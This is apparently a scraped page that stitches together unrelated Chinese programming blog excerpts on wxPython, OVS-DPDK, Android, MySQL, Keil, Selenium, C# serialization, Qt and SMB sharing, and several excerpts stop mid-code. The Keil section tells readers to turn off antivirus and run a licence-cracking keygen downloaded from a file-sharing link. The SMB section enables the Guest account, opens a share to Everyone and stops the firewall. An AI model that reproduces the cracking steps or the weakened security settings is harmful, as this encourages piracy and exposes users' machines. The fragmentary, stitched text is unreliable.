python中wx模块介绍_python wx模块如何安装

python wx模块如何安装 发布时间:2020-09-21 13:43:23 来源:亿速云 阅读:79 作者:Leah python wx模块如何安装?很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。 一、wxPython介绍 1.wxPython是Python语言的一套优秀的GUI图形库。wxPython可以很方便的创建完整的、功能键全的GUI用户界面。wxPython是作为优秀的跨平台GUI库wxWidgets的Python封装和Python模块的方式提供给用户的。 2.wxPython是跨平台的,可以在不修改程序的情况下在多种平台上运行。目前支持的平台有Win32/Win64、Mac OS X及大多数的Unix系统。 二、安装wxPython 1.Python图形用户界面的使用需导入wxPython包,这是一个成熟而且特性丰富的包,也是Python之父Guido van Rossum的最爱。下面将介绍wxPython的安装。 2.首先官网下载wxPython工具包,将得到一个安装文件,正常安装即可。 3.下载地址:https://www.wxpython.org/download.php 三、测试安转成功 1.安装完成之后进行测试,测试代码如下。#coding:utf-8 #!/usr/bin/env python import wx #导入wx包 app = wx.App() #创建应用程序对象 win = wx.Frame(None,-1,'install test') #创建窗体 btn = wx.Button(win, label = 'Button') #创建Button win.Show() #显示窗体 app.MainLoop() #运行程序 2.首先是导入wx包,然后创建应用程序对象,创建窗体,创建Button,显示窗体,最后启动程序。 3.效果如下图所示: 看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

python 两个列表相互映射_Python:两个列表之间的快速映射和查找

我认为建议您使用哈希表来代替 numpy.in1d,它使用O(n log n)合并排序作为预处理步骤. >>> A = [500, 300, 400, 200, 100] >>> index = { k:i for i,k in enumerate(A, 1) } >>> random_list = [200, 100, 50] >>> [i for i,x in enumerate(random_list) if x in index] [0, 1] >>> map(index.get, random_list) [4, 5, None] >>> filter(None, map(index.get, random_list)) [4, 5] 这是Python 2,在Python 3中映射并过滤返回类似于生成器的对象,因此如果要将结果作为列表获取,则需要围绕过滤器的列表. 我试图尽可能地使用内置函数来将计算负担推到C端(假设你使用CPython).所有的名字都是预先解决的,所以它应该非常快. 通常,为了获得最佳性能,您可能需要考虑使用PyPy,这是一个使用JIT编译的很好的替代Python实现. 比较多种方法的基准从来都不是一个坏主意: import sys is_pypy = '__pypy__' in sys.builtin_module_names import timeit import random

三、ovs-dpdk ——代码结构

转载请注明出处,谢谢。 支持dpdk结构 ovs-dpdk的vswitchd进程 ovs的dpdk网卡结构: 支持三种类型:物理网卡/vhostuser/vhostuserclient 对于ovs使用dpdk 需要在启动ovs的时候需要配置一些参数 other_config dpdk-init 指定ovs是否初始化和支持dpdk端口。 dpdk-lcore-mask 指明dpdk使用的逻辑核。同dpdk的-c参数。 dpdk-socket-mem 指明不同numa节点提前申请的大页内存。同dpdk的--socket-mem参数。 dpdk-hugepage-dir 大页文件系统mount的目录。同dpdk的--huge-dir参数。 vhost-sock-dir 设置vhost-user 套接字的路径。 dpdk-extra 其他的dpdk配置参数。 dpdk初始化 主要包括: 1) dpdk eal初始化。 2) 启动dpdk接口状态监控线程(使用dpdk的库函数),如果状态发送变化,则更新netdev设备的变化标记。 3) 注册dpdk类型的netdev class。其中包括dpdk设备类型,ring类型、vhost、vhost client类型。 pmd线程 vswitchd/ovs-vswitchd.c启动main–>netdev_run–>netdev_initialize–>netdev_dpdk_register–> netdev_register_provider注册dpdk_vhost_user_class 添加dpdk端口的时候,会触发创建pmd线程的操作。 dpif_netdev_port_add–>do_add_port–> reconfigure_datapath-> reconfigure_pmd_threads –>pmd_thread_main 如果已经添加了dpdk端口,启动的时候也会触发创建pmd线程的操作。 bridge_run->bridge_run__->ofproto_run->dpif_netdev_run–> reconfigure_datapath–> pmd_thread_main 重新配置cmask的时候也会触发pmd线程的操作 dpif_netdev_set_config->dp_netdev_request_reconfigure-> reconfigure_datapath-> reconfigure_pmd_threads–>pmd_thread_main dp_netdev_process_rxq_port接口负责接收报文,然后调用接口dp_netdev_input–>dp_netdev_input__负责查表,然后调用packet_batch_execute–>dp_netdev_execute_actions执行actions操作。 pmd_thread_main pmd_thread_setaffinity_cpu设置线程绑定的lcore。for无限循环for循环各个端口,执行dp_netdev_process_rxq_port处理端口。循环中间会根据变动重新加载端口和队列信息。 dp_netdev_process_rxq_port 调用netdev_rxq_recv接收报文,前后都有计时。调用dp_netdev_input将报文传输给flow,并且发送报文,前后都有计时。netdev_rxq_recv=>netdev_dpdk_vhost_rxq_recv调用dpdk接口rte_vhost_dequeue_burst接收报文。调用netdev_dpdk_vhost_update_rx_counters更新统计信息。 dp_netdev_input=>dp_netdev_input__ emc_processing主要是将收到的几个报文解析key值,并且从cache中查找流表,匹配的报文放入流表;返回不匹配的报文个数。如果存在不匹配的报文,调用fast_path_processing则继续查找全部表项,找到则将流表放入cache,不匹配则上报到controller。调用packet_batch_execute根据流表来操作报文。 dfc_processing 调用miniflow_extract将报文解析到key值。调用emc_lookup,从hash表中查找,并且进行key值比较。如果匹配,调用dp_netdev_queue_batches将报文添加在flow->batches中。不匹配将不匹配的报文当前排。调用dp_netdev_count_packet统计匹配的报文数。 fast_path_processing dpcls_lookup通过classifier查找子流表,如果所有的报文都找到了匹配的子流表,将流表插入缓存中,并且将报文加入flow->batches。如果不匹配,则上报到controller。统计匹配、不匹配和丢失。 packet_batch_per_flow_execute 调用dp_netdev_flow_get_actions获取flow对应的actions。dp_netdev_execute_actions执行对应的actionsactions操作 dp_netdev_execute_actions=>odp_execute_actions 如果是一些基本操作的话,调用接口dp_execute_cb。 dp_execute_cb 如果是OVS_ACTION_ATTR_OUTPUT,调用dp_netdev_lookup_port查找端口,然后调用netdev_send进行报文发送。如果是OVS_ACTION_ATTR_TUNNEL_PUSH,调用push_tnl_action进行tunnel封装,然后调用dp_netdev_recirculate–>dp_netdev_input__重新查表操作。如果是OVS_ACTION_ATTR_TUNNEL_POP,调用netdev_pop_header解封装,然后调用dp_netdev_recirculate–>dp_netdev_input__重新查表操作。 netdev_send=>netdev_dpdk_vhost_send=>__netdev_dpdk_vhost_send 循环调用dpdk接口rte_vhost_enqueue_burst发送报文。调用netdev_dpdk_vhost_update_tx_counters更新统计信息。 PMD线程在其轮询列表中持续轮询输入端口,在每一个端口上最多可同时收32个包(NETDEV_MAX_BURST),根据激活的流规则可将每一个收包进行分类。分类的目的是为了找到一个流,从而对包进行恰当的处理。包根据流进行分组,并且每一个分组将执行特定的动作。

自定义TextView末尾增加高亮文字(ForegroundColorSpan)和点击事件(ClickableSpan)

一、自定义TextView实现增加高亮文字和点击事件 先看效果图如下: 详细描述是这样的:实现一个文本框,条件1:文本显示三行。条件2:文本超过三行时,在末尾显示省略号,并且在末尾展示“查看全部 >”按钮,高亮显示,并且可以点击跳转界面。条件3:文本三行能全部显示完整,则不展示“查看全部 >”按钮。 这个实现跟可扩展TextView的定义不一样,只需要实现末尾添加文字、图片、高亮、可点击即可。 当然难点是在:“查看全部 >”按钮,精确的显示在文本的最后面。所以计算需要展示的字符串长度,就是重点了。 二、直接看代码吧 class TextViewURLSpan extends ClickableSpan { @Override public void updateDrawState(TextPaint ds) { ds.setColor(Color.RED); ds.setUnderlineText(false); //去掉下划线 } @Override public void onClick(View widget) {//点击事件 widget.setSelected(false); Toast.makeText( MainActivity.this, "点击了", Toast.LENGTH_SHORT).show(); } } final String content = "赵丽颖,1987年10月16日出生于河北省廊坊市,中国内地女演员、歌手,河北省旅游形象大使。2006年,因获得《雅虎搜星》比赛冯小刚组冠军而进入演艺圈;同年,在冯小刚执导的广告片《跪族篇》中担任女主角。2011年,因在古装剧《新还珠格格》中饰演晴儿一角而被观众认识。2013年,凭借古装剧《陆贞传奇》获得更多关注。2014年10月,在第10届金鹰电视艺术节举办的投票活动中被选为“金鹰女神”"; testTextview2 = findViewById(R.id.testTextview2); testTextview2.post(new Runnable() { @Override public void run() { //初始化,用于判断字符串是否全部展示出来。 testTextview2.setText(content); //在这里要特别的注意content里面如果有换行符,则获取到的getEllipsisCount不准。 int ellipsisCount = getEllipsisCount(testTextview2); //大于0表示被省略了,0表示全部展示。 if (ellipsisCount > 0) { //整个字符串长度 int length = testTextview2.

Python之2D绘图套件-Matplotlib详解

简介 Matplotlib 是一个 Python 的 2D绘图库,它以各种硬拷贝格式和跨平台的交互式环境生成出版质量级别的图形。通过 Matplotlib,开发者可以仅需要几行代码,便可以生成绘图,直方图,功率谱,条形图,错误图,散点图等。 机器学习实例 1、创建散点图 import matplotlib import matplotlib.pyplot as plt fig = plt.figure() #以Id为1创建一个窗口 ax = fig.add_subplot(111) ax.scatter(datingDataMat[:,1],datingDataMat[:,2],15.0*array(datingLabels),15.0*array(datingLabels))#输入x、y、大小、颜色 plt.show() Matplotlib.pyplot 包含一系列类似 MATLAB 中绘图函数的相关函数。常以plt作为Matplotlib.pyplot的简写

mysql数据库 中文乱码_数据库 MySQL中文乱码解决办法总结

MySQL中文乱码解决办法 前言: MySQL是我们项目中非常常用的数据型数据库。但是因为我们需要在数据库保存中文字符,所以经常遇到数据库乱码情况。下面就来介绍一下如何彻底解决数据库中文乱码情况。 1、中文乱码 1.1、中文乱码 create table user(name varchar(11)); # 创建user表 insert into table user("carl"); # 添加数据 select * from user; insert into user value("哈哈"); 无法插入中文字符: 1.2、查看表字符编码 mysql> show create table user G; *************************** 1. row *************************** Table: user Create Table: CREATE TABLE `user` ( `name` varchar(11) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1 1 row in set (0.00 sec) 我们可以看到表的默认字符集是latin1. 所以我们在创建表的时候就需要指定表的字符集: create table user(name varchar(11)) default charset=utf8; 这样在Linux里面可以访问并且可以插入与访问这个表了。 1.3、数据库与操作系统编码

关于Android的软件盘弹出时将布局顶上去的解决方法

关于Android的软件盘弹出时将布局顶上去的解决方法 记录一下在安卓开发的过程中遇到的一些坑。 首先,我们在开发时避免不了要用到输入框EditText,在Android开发中同样也需要使用到这个东西。因为之前做的都是网站类的项目,最近转Android开发了。所以在对Android还不是很熟悉的情况下一路横冲直撞,终于踩到坑了。 如果你在看我的这篇文章说明你此时正遇到这样的问题。 看上面的图可以看到,底部的导航栏被顶上去了,准确的说是整个fragment视图被往上移了一段距离。 在一番的百度和Google后发现所有人给出的解决方案都是一致的那就是在mainfest.xml中,对那个Activity加: <activity android:name=".activity.HomeActivity" android:windowSoftInputMode="adjustResize|stateHidden"><!--添加此代码--> </activity> 我添加之后并没有解决我的问题。 最后发现了一张表 大家可以,对着这张表去解决对应的键盘冲突 最后我是通过adjustPan|stateHidden解决我的问题的。 <activity android:name=".activity.HomeActivity" android:windowSoftInputMode="adjustPan|stateHidden"><!--添加此代码--> </activity>

基于Keil5的51单片机环境配置(附带2032、VSCODE编辑环境配置与卸载教程)

基于Keil5的51单片机环境配置(附带2032、VSCODE编辑环境配置与卸载教程) 最近捡起闲置已久的单片机学习板开始捣鼓,首先是配置开发环境,好久没操作了,配了老半天终于折腾好了,这里把我的历程分享一下,希望对大家有帮助。 目录 基于Keil5的51单片机环境配置(附带2032、VSCODE编辑环境配置与卸载教程)0.先期准备1.资源下载2.Keil 5的安装与测试(点亮第一个LED灯)Keil 5的安装ARM芯片驱动 破解Keil嵌入C51例程测试-点亮第一个LED灯 3.VSCode 编辑器的配置4.其他一些改良体验的小细节一键打开三个软件将VSCode作为工具集成到Keil中 5.卸载 0.先期准备 首先,如果电脑有杀毒软件或防火墙之类的,请关闭,免得影响后面的破解过程 1.资源下载 这个压缩包里包括有2032破解机、keil 5以及stc-isp 链接:https://pan.baidu.com/s/1nBFFRY61dX9bX6KQqf0rlA 提取码:2v6y 2.Keil 5的安装与测试(点亮第一个LED灯) Keil 5的安装 解压出来应该是这个样子的 在这个目录下双击MDK518.exe 点击Next “I agree” 选择安装路径,我这里安装在了D盘,默认的应该是C盘 随便填 稍微等待一会后就安装完了,下面那个选项是我之前安装过的才有的,正常第一次安装应该是没有的,把两个选项全去掉 ARM芯片驱动 会弹出个这玩意,这个好像是安一些ARM芯片驱动的,51单片机的话貌似是不用这一步的。本来他是可以在线安装的,但是由于一些众所周知的原因,国内是下载不了的,我们这里选择离线包,先将弹出的窗口一律选否,然后如图所示,点击左上角File下的Import 选择下载资源中pack下的两个包,点击打开 可以看到这个进度条在动,由于选择了两个包,因此将会有两次进度条,第二次相对而言等的将会久一些。 等到这里显示complete就可以右上角退出了 破解Keil 回到桌面,可以看到这里有个keil的快捷方式 右键管理员运行,这里没有的话可以到文件所在位置找到源文件管理员运行,这里必须要管理员运行否则后面破解会有问题 进入License Management 打开后是这个样子,不过第一次安的话应该是没有红圈那个东西的,我这里是卸载了演示一下的 在资源文件夹里找到注册机,右键管理员打开,这个注册机不知道是谁设计的,带有非常魔性的BGM 然后按照图示操作 这样就算OK了,那个日期是指你的使用截止日期,可能很多人翻以前别人发的安装教程一步步流程下来发现这里是红的,是因为以前的老注册机只到2020年,然而我写这篇博客的时候已经是2021年了,于是就换了一个新的注册机。可以预见在2032年的时候将会出更新的注册机(如果那时候keil还有人用的话) 嵌入C51 回到这个文件夹,双击c51v959.exe 一路NEXT 依旧是管理员身份运行keil后进入license management后利用注册机破解,不同的是这次的Target选择C51(默认应该就是他),最后应该是这个样子的,应该就没问题了 例程测试-点亮第一个LED灯 接下来用一个程序来测试一下配置成功没有,同时也是熟悉一下操作,选用的例程是点亮第一个LED灯,这个应该算是嵌入式开发界的“Hello world”了吧。我这里选用的芯片是STC89C52,别的芯片需要作出相应的改变。 如图,在上方Project下选择New ****** Project… 选择保存路径,我个人的习惯是有这么一个文件夹保存各种各样的代码项目,这里我新建了一个C51文件夹 在这个文件夹下面再新建一个文件夹,不然以后很容易混淆,我这里取名为test2,而后进入test2后输入项目名称,我这里取名为test,保存类型用默认的就行了,然后点击保存 然后弹出一个界面,这个是选择芯片 由于我这里选用的51单片机,在下拉菜单中选择这一个 找到Microchip选项 由于我的芯片是STC89C52,我这里选择AT89C52。顺便一提,我以前用的是老版的keil,那个时候这个要在Atmel下找,但是后来这个公司被收购了,因此现在变到这里来了。 点击否 这个样子项目就建好了 然后点击Target 1左边的加号,展开后右键Source Group 1后选择Add New Item*******, 我们这里使用C语言编程,选择.c

6个部件组成一个圆球_小圆球6块魔方视频教程(六块塑料片拼球图视频)

六块球形小魔方怎么拼 打乱了之后,就着复原一. 和一般魔方不同的,球形魔方复原时确定颜色及,要找六个圆盘分隔出来的顶点. 确定好了位置,就试着将同色的其余五个小块依次转到确定好了的圆盘内. 复原第一个面时,就要合理用上六个可转圆盘,及三条滑道. 复原时,你应该找到了一点窍门,像要转圆盘时和将每个小块归位时的简单规律. 复原好了一个面,再复原第二个面. 这时要试着不把刚复原的一面给打乱了,还是依照第一次的方法. 然后一个个面的复原,不行的话再从头来,直到全部复原就完成啦~ 多练习几次就会熟练多了. 怎么拼球形魔方 看视频看教程啊。看看高手是怎么拼的 小圆球6块魔方教程 1、首先将按顺序编号摆好,如下示 2、然后组合1号和2号模块,如下图所示: 3、在合口卡上3号模块,如下图所示: 4、在2号模块的突出点卡入4号模块,如下图所示: 5、从缺口最大的一侧推入5号模块,如下图所示: 6、将6号模块填入最后一个缺口处,完成拼球,如下图所示: 球形魔方怎么玩? 1、首球形魔方模块按顺序编好,如下示: 2、然后组合12号模块,如下图所示: 3、在合适卡口卡上3号模块,如下图所示: 4、在2号模块的突出点卡入4号模块,如下图所示: 5、从缺口最大的一侧推入5号模块,如下图所示: 6、将6号模块填入最后一个缺口处,完成球形魔方拼球,如下图所示: 找一种小玩具,小时候常见的塑料钥匙扣,六块不同颜色的塑料拼成个组成的小球球,急求 求解这个叫什么? 智力拼装球,tb上有 六块塑料片拼球图视频 魔豉球 版权声明:本站所有文章皆为原创,欢迎转载或转发,请保留网站地址和作者信息。

灰度值形态学

1. 膨胀、腐蚀 g(r,c):待处理的图像 s(r,c):结构元图像 平坦结构元:结构元图像内灰度值都是0,s(r,c) = 0 当使用平坦结构元时,膨胀:在结构元的范围内选择灰度值最大值。如果把结构元视为滤波器掩码,膨胀可被称为最大值滤波。 当使用平坦结构元时,腐蚀:在结构元的范围内选择灰度值最小值。如果把结构元视为滤波器掩码,腐蚀可被称为最小值滤波。 2. 开操作与闭操作 对于灰度值形态学, 开操作:腐蚀+膨胀 闭操作:膨胀+腐蚀 3. 顶帽、底帽 顶帽:原图像 - 开操作 底帽:闭操作 - 原图像 4. 灰度范围 -- 形态学梯度算子 计算出现在结构元内的灰度值范围:膨胀 - 腐蚀 gray_range_rect(Image : ImageResult : MaskHeight, MaskWidth : ) calculates the gray value range, i.e., the difference (max - min) of the maximum and minimum gray values, of the input image Image within a rectangular mask of size (MaskHeight, MaskWidth) for each image point.

P2296 [NOIP2014 提高组] 寻找道路,转载题解

此答案为我抄的,竟然没做出来(真无耻),为了借鉴学习(其实是为了凑AC) 在此附上链接:题解链接https://www.luogu.com.cn/blog/shaoping/solution-p2296 题目链接:https://www.luogu.com.cn/problem/P2296 #include<iostream> #include<vector> #include<cstdio> #include<algorithm> #include<queue> using namespace std; bool inroad[10010],can[10010]; //inroad 表示此点是否可以出现在路径上 can 表示此点是否可以到达终点 int dis[10010]; //dis 表示此点距离起点的距离 vector<int>side[10010]; //正向建边 vector<int>edis[10010]; //反向建边 int main() { int n,m,a,b,s,t; cin>>n>>m; for(int i=1;i<=m;i++) //读入并正反向建边 { cin>>a>>b; side[a].push_back(b); edis[b].push_back(a); } cin>>s>>t; can[t]=1; //终点先设置为 1 queue<int>que; que.push(t); while(!que.empty()) //从终点反向查找② { int now=que.front(); que.pop(); for(int i=edis[now].size()-1;i>=0;i--) { int to=edis[now][i]; if(!can[to]) { que.push(to); can[to]=1; } } } if(!can[s]) //起点无法到达终点就直接结束程序 { cout<<"-1"; return 0; } for(int i=1;i<=n;i++) //判断哪些点是① { if(can[i]) { inroad[i]=1; for(int j=side[i].

c#爬虫-从内存中释放Selenium chromedriver.exe终极杀

背景 之前在做爬虫的时候,遇到内存释放不掉的问c#教程题,从内存中释放Selenium chromedriver.exe。后面我使用以下方法: public override void DoJob(IJobExecutionConxt context, ILifetimeScope scope, string[] args) { Console.WriteLine(nameof(LoginReptiles1688Job) + " 开始-------------------"); ChromeOptions options = null; IWebDriver driver = null; try { 。。。。。。。。。。。。。。。。。。。。。。。 } catch (Exception ex) { throw ex; } finally { driver?.Close(); // Close the chrome window driver?.Quit(); // Close the console app that was used to kick off the chrome window driver?.Dispose(); // Close the chromedriver.exe driver = null; options = null; detailtry = 0; shoptry = 0; Console.

分析C# 二进制序列化诟病所在,并解决问题(一)

文章目录 什么是序列化?二进制序列化特点常规序列化及反序列化序列化测试简单优化 什么是序列化? 内存中的数据对象只有转换为二进制流才可以进行数据持久化和网络传输。将数据对象转换为二进制流的过程称为对象的序列化(Serialization)。反之,将二进制流恢复为数据对象的过程称为反序列化(Deserialization)。序列化需要保留充分的信息以恢复数据对象,但是为了节约存储空间和网络带宽,序列化后的二进制流又要尽可能小。序列化常见的使用场景是RPC框架的数据传输。常见的序列化方式有三种:二进制、xml、Json,当然还有新起之秀Protocol Buffers、Avro、Spearal等, 二进制序列化特点 说起二进制序列化,大家可能是既爱又恨,爱是其保真度是其他序列化都无法比拟的,恨却是其性能和[Serializable]标签,实际上二进制序列化也可以想Json一样,只传递数据,不显示其属性,可那样的话,为什么不直接用Json呢,所以本猿还是喜欢在现有的二进制中摸爬滚打,至于标签,本猿也觉得挺重要的,因为这就在提醒开发人员,该数据对象可能会被反序列化,得小心,具体危险程度有多少,可以看看微软介绍,这里就不累述了。接下来,就让我们开始捣鼓BinaryFormatter吧。 常规序列化及反序列化 序列化 private static byte[] Serialize(object obj) { using (MemoryStream stream = new MemoryStream()) { BinaryFormatter binaryFormatter = new BinaryFormatter(); binaryFormatter.Serialize(stream, obj); return stream.ToArray(); } } 反序列化 private static T Deserialize<T>(byte[] buffer) { using (MemoryStream stream = new MemoryStream()) { stream.Write(buffer,0,buffer.Length); stream.Position = 0; BinaryFormatter binaryFormatter = new BinaryFormatter(); return (T)binaryFormatter.Deserialize(stream); } } 或者 private static T Deserialize<T>(byte[] buffer) { using (MemoryStream stream = new MemoryStream(buffer)) { BinaryFormatter binaryFormatter = new BinaryFormatter(); return (T)binaryFormatter.

区域形态学

1. 膨胀,腐蚀 区域R,结构元S。对区域R的膨胀定义为:结构元S平移到t点(也就是结构元参考点平移到t点),并且平移后结构元St和R有交集。所有这样的t点集合构成了对区域R的膨胀。 区域R,结构元S。对区域R的腐蚀定义为:结构元S平移到t点(也就是结构元参考点平移到t点),并且平移后结构元St完全在R内。所有这样的t点集合构成了对区域R的腐蚀。 引用官网的话: To dilate or erode an input region, a structuring element is applied to the input region. This structuring element is scanned over the image line-by-line. During dilation the reference point of the structuring element is added to the resulting region whenever the structuring element and the input region have at least one pixel in common. This results in an enlarged region, as shown in the image below.

selenium Java 环境配置之chromedriver踩坑

selenium Java 环境配置之chromedriver踩坑 最近家里人叫我帮写一个自动登录某学习网站,自动观看视频的“小程序”(里面都是坑。。。) 没有只能硬着头皮搞一波,因为这一年都在用Java,所以就打算用selenium+Java来实现功能(各种踩坑。。。) 0x01 chromedriver版本和chrome版本不对应 其实这个坑,前人已经踩过无数次了,我这又换了新的姿势踩了进去。。。 简而言之,我这个坑是个历史遗留问题,当初大二学过一点Python,当时配了一个chromedriver和chrome 当时是能用的(而且还扔进了环境变量里面。。。) 将近两年之后的今天,我完全忘记了这个事情,我的Chrome也升级过了,所以我就掉坑里了, 最简单的一个访问百度的代码都报错,反正各种查不到原因,我都不知道我什么时候装的65版本的chromedriver 装了又卸卸了又装(搞了半天。。。) 后面终于发现了问题的所在: 就是圈里这个东西,在这个目录下面,有个大二配的chromedriver,和现在的chrome版本不对应 解决办法一: 把它替换成对应版本的chromedriver,就可以了 解决办法二: 代码指定要用chromedriver.exe的路径: System.setProperty("webdriver.chrome.driver", "C:\\Program Files\\Google\\Chrome\\Application\\chromedriver.exe"); 0x02 chromedriver的环境变量配置问题 这个问题很奇怪,可能是我电脑以前乱七八糟的东西配的太多了,出了个不理解的问题 大概就是: 我把 Python\Scripts 文件夹下面的chromedriver删掉之后,想专门配置一个文件夹用来存放chromedriver.exe 然后,就华丽丽的报错了,代码又运行不了(环境变量也已经重新配置过了) 最坑的是,我在cmd里面用chromedriver.exe,有输出: 结果在这个情况下,不用上面的解决办法二的话,代码直接就报错,捣鼓了一个多小时,没结果,只能把这个问题暂时记录下来。

IntelliJ IDEA 如何显示类的结构

在 IntelliJ IDEA 中可以通过快捷键和左侧的链接单击后查看当前类的方法结构。 Windows 的快捷键是 Ctrl + F12 当然,你还可以在编辑框中选择左侧的结构,同样也会显示方法的结构。 单击左侧就能够显示结构了。 通过显示类中方法的结构,我们就可以更加容易的在类中对方法进行搜索和查看。 https://www.ossez.com/t/intellij-idea/13283

Gridea 部署 Coding Pages 教程

1、Coding配置 1.1、注册Coding 团队名称:随意 团队域名:是后续Gridea配置中的仓库用户名的一部分,填写完保存好,留待后续使用 1.2、创建项目 左边菜单栏选择项目,点击创建项目 选择代码托管项目 项目名称:即后续Gridea配置中的仓库用户名的一部分,填写完保存好,留待后续使用 项目标识:随意,填写完项目名称点击空白处会自动变为相同值,默认即可 项目描述:随意 忽略邀请界面 左边菜单栏选择代码仓库,点击新建代码仓库 仓库名称:很重要,是后续Gridea配置中的仓库名,填写完保存好,留待后续使用 其余按图上配置即可 进入左下角的项目设置 进入功能开关,勾选持续部署,然后点击左上角返回 此时可以看到左边菜单栏多出持续部署选项,展开后选择静态网站 配置腾讯云权限:按提示操作即可 实名认证:按提示操作即可 点击新建静态网站 网站名称:随意 代码仓库:选择之前新建的仓库 其余按图上默认即可 点击进入 网站地址:即后续Gridea配置中的域名,保存好,留待后续使用 2、Gridea配置 | 多处配置已提前告知记录,若有疑惑往前翻阅 域名 Coding中静态网站生成的访问地址 仓库名称 用于静态网站的代码仓库名称 分支 master 仓库用户名 查看代码仓库的设置,在基本设置中找到仓库地址,如图,红色涂掉的就是用户名 仓库用户名 = 用户名/仓库名称 邮箱 注册Coding填的邮箱 令牌用户名 进入个人账户设置,选择访问令牌,如图,红色涂掉的就是令牌用户名 令牌 进入个人账户设置,选择访问令牌,点击新建令牌,如图,勾选第一项即可,描述随意填写 CNAME 待续 3、自定义域名(待写) 由于Coding pages的静态网站默认网址会很长,不方便记忆,这时就可以选择购买喜欢的域名去自定义 域名购买可以选择阿里云、腾讯云等等,此处考虑到Coding是腾讯的子公司,就选择了去腾讯云购买

Bellhop中的env文件配置

Bellhop Bellhop,是一种水声工具箱,可以进行水下声学仿真,通过env文件设置环境参数,可得到与之对应的声线信息、多途等仿真,本博文并不着重介绍Bellhop的使用经验,主要介绍env文件的设置。使用东泰山版本即可,他的介绍已经很详细了,同时还有Acoustics Toolbox官方及时更新的版本。 env文件说明 env文件是Bellhop仿真中最先要解决的文件编辑,包含了对声场中基础参数的设计。env文件通过Bellhop工具仿真后会输出多个文件,我个人主要应用 .arr文件 和 .shd文件。 以下为Bellhop输出的三个文件说明: .arr文件:描述声线到达的时间序列; .shd文件:描述声线的传播损失; .ray文件:描述声线和本征声线。 先看一个典型的env文件大致包含了什么: 标题等 'kenvintest' ! TITLE 标题 6000.0 ! FREQ(Hz) 声波频率 1 ! NMEDIA 介质分层数 传播介质个数为 1 上端属性 选择模式说明: 甲 主要描述了 Bellhop 为了计算声速以及沿着声线相关的其他参数而采用的一些插值方法,下面是为声速剖面进行插值。 选项说 明CC-线性插值NN2-线性插值(n 是折射率)S三次样条插值Q2D SSP 四边形插值(只用于 BELLHOP,从文件中读取 .ssp 文件。)H3D SSP 六面体插值(只用于 BELLHOP3D,从文件中读取 SSP)A解析值 用户必须修改 ANALYT.FOR 中的解析公式,然后再编译和链接。 乙 主要描述海水表面的类型 选项说 明V表面真空R表面完全刚性的硬物A声学半空间F从一个*.brc 文件读入反射系数S用于“软层(Soft-boss)”Twersky 散射H用于“硬层(Hard-boss)”Twersky 散射T只用于“软层(Soft-boss)”Twersky 散射的幅度I只用于“硬层(Hard-boss)”Twersky 散射的幅度 其中在描述为“A”的声学半空间中,SURFACE-LINE 格式如下: z-surfacecp-surfacecs-surfacedensity-surfaceAP-surfaceAS-surface深度纵波声速横波声速表面密度纵波吸收系数横波吸收系数 如果不选’A’,Bellhop 只用到前两个参数(每行要以“/” 结尾,其余参数用默认的),后面的参数是其他模型使用的。 丙 描述底部的衰减所用的单位。 选项说 明F(dB/m)kHz, F 指与频率相关L衰减单位对应于参数损失 损失参量(又称损失切线)MdB/m,M 指每米NNepers/mQ品质因子WdB/λ, W 指波长 丁 可选参数,如果描述声音的 Thope Volume 衰减,要设置为“T”

Qt之QWidget设置窗口背景图片的几种方法

Qt之QWidget设置窗口背景图片的几种方法 几种方法如下: 1.使用调色板QPalette来设置图片 QPalette pal =this->palette(); pal.setBrush(QPalette::Background,QBrush(QPixmap(":/bg.jpg"))); setPalette(pal); 首先获得Widget的调色板,然后设置设置调色板背景(setBrush),最后将调色板设置到Widget中。 2.在paintEvent事件中绘制图片 void Widget::paintEvent(QPaintEvent * ev) { QPainter painter(this); painter.drawPixmap(rect(),QPixmap(":/bg.jpg"),QRect()); } drawPixmap在Widget的整个矩形区域绘制背景图片,第三个参数为要绘制的图片区域,传入空的矩形表示整个图片区域。通过这种方式可以将图片平铺到窗口上,缺点就是要使用paintEvent事件需要新建一个类,不适合子窗口。 3.使用样式表(setStyleSheet) 使用样式表可以很方便设置界面,而且非常高效,还能让界面和逻辑分离。设置背景图片的语句也很简单。 setStyleSheet("border-image:url(:/bg.jpg)"); 这里使用border-image属性可以让图片平铺到窗口。所以样式表比较适合子窗口来使用。 4.使用间接的方式来设置背景 比如说在窗口上覆盖一个QLabel,这个label始终与窗口一样大。然后在label中设置图片,视觉效果上和直接给窗口设置背景图片一样。 Widget::Widget(QWidget *parent) : QWidget(parent) { m_lblBg = new QLabel(this); m_lblBg ->setPixmap(QPixmap(":/bg.jpg")); m_lblBg ->setScaledContents(true); } void Widget::resizeEvent(QResizeEvent * ev) { m_lblBg->resize(this->size()); } 创建一个label作为Widget的子窗口,然后设置图片。通过在Widget的resizeEvent事件中设置label的大小与Widget一致。这里需要注意调用QLabel的setScaledContents(true),否则效果和第一种一样。由于QLabel可以用来显示动图因此使用这种方式可以实现窗口的动态背景图片。

window共享权限设定,Linux挂载出现NT_STATUS_CONNECTION_RESET报错上教程!

windows端共享权限设定 一.操作步骤1.解禁Guest2.设置共享目录权限3.设置本地策略4.查看网段5.linux挂载端,扫描共享目录6.挂载共享目录 一.操作步骤 Windows端共享权限设定: 1.解禁Guest 右击我的电脑选择管理-->本地用户和组-->在用户项中双击Guest用户-->取消账号已禁用选项 2.设置共享目录权限 右击共享目录点属性-->在共享页面中点击共享选项-->下拉选择共享对象为Everyone-->点击共享按钮 3.设置本地策略 打开命令框-->输入secpol.msc-->选择本地策略 用户权限分配-->拒绝从网络访问这台计算机-->把Guest用户删除 安全选项-->网络访问:本地账户的共享和安全模型-->下拉选择仅来宾 Linux挂载端: 1.扫描共享目录 smbclient -L //192.168.80.1/ #Windows端的IP地址 不需要输入密码直接回车 2.挂载共享目录 yum install -y cifs-utils mkdir /data mount.cifs //192.168.80.1/share /data 不需要输入密码直接回车 df -h ls /data 1.解禁Guest 右击我的电脑选择管理–>本地用户和组–>在用户项中双击Guest用户–>取消账号已禁用选项 2.设置共享目录权限 右击共享目录点属性–>在共享页面中点击共享选项–>下拉选择共享对象为Everyone–>点击共享按钮 3.设置本地策略 打开命令框–>输入secpol.msc–>选择本地策略 用户权限分配–>拒绝从网络访问这台计算机–>把Guest用户删除 安全选项–>网络访问:本地账户的共享和安全模型–>下拉选择仅来宾 [root@localhost ~]# systemctl stop firewalld.service [root@localhost 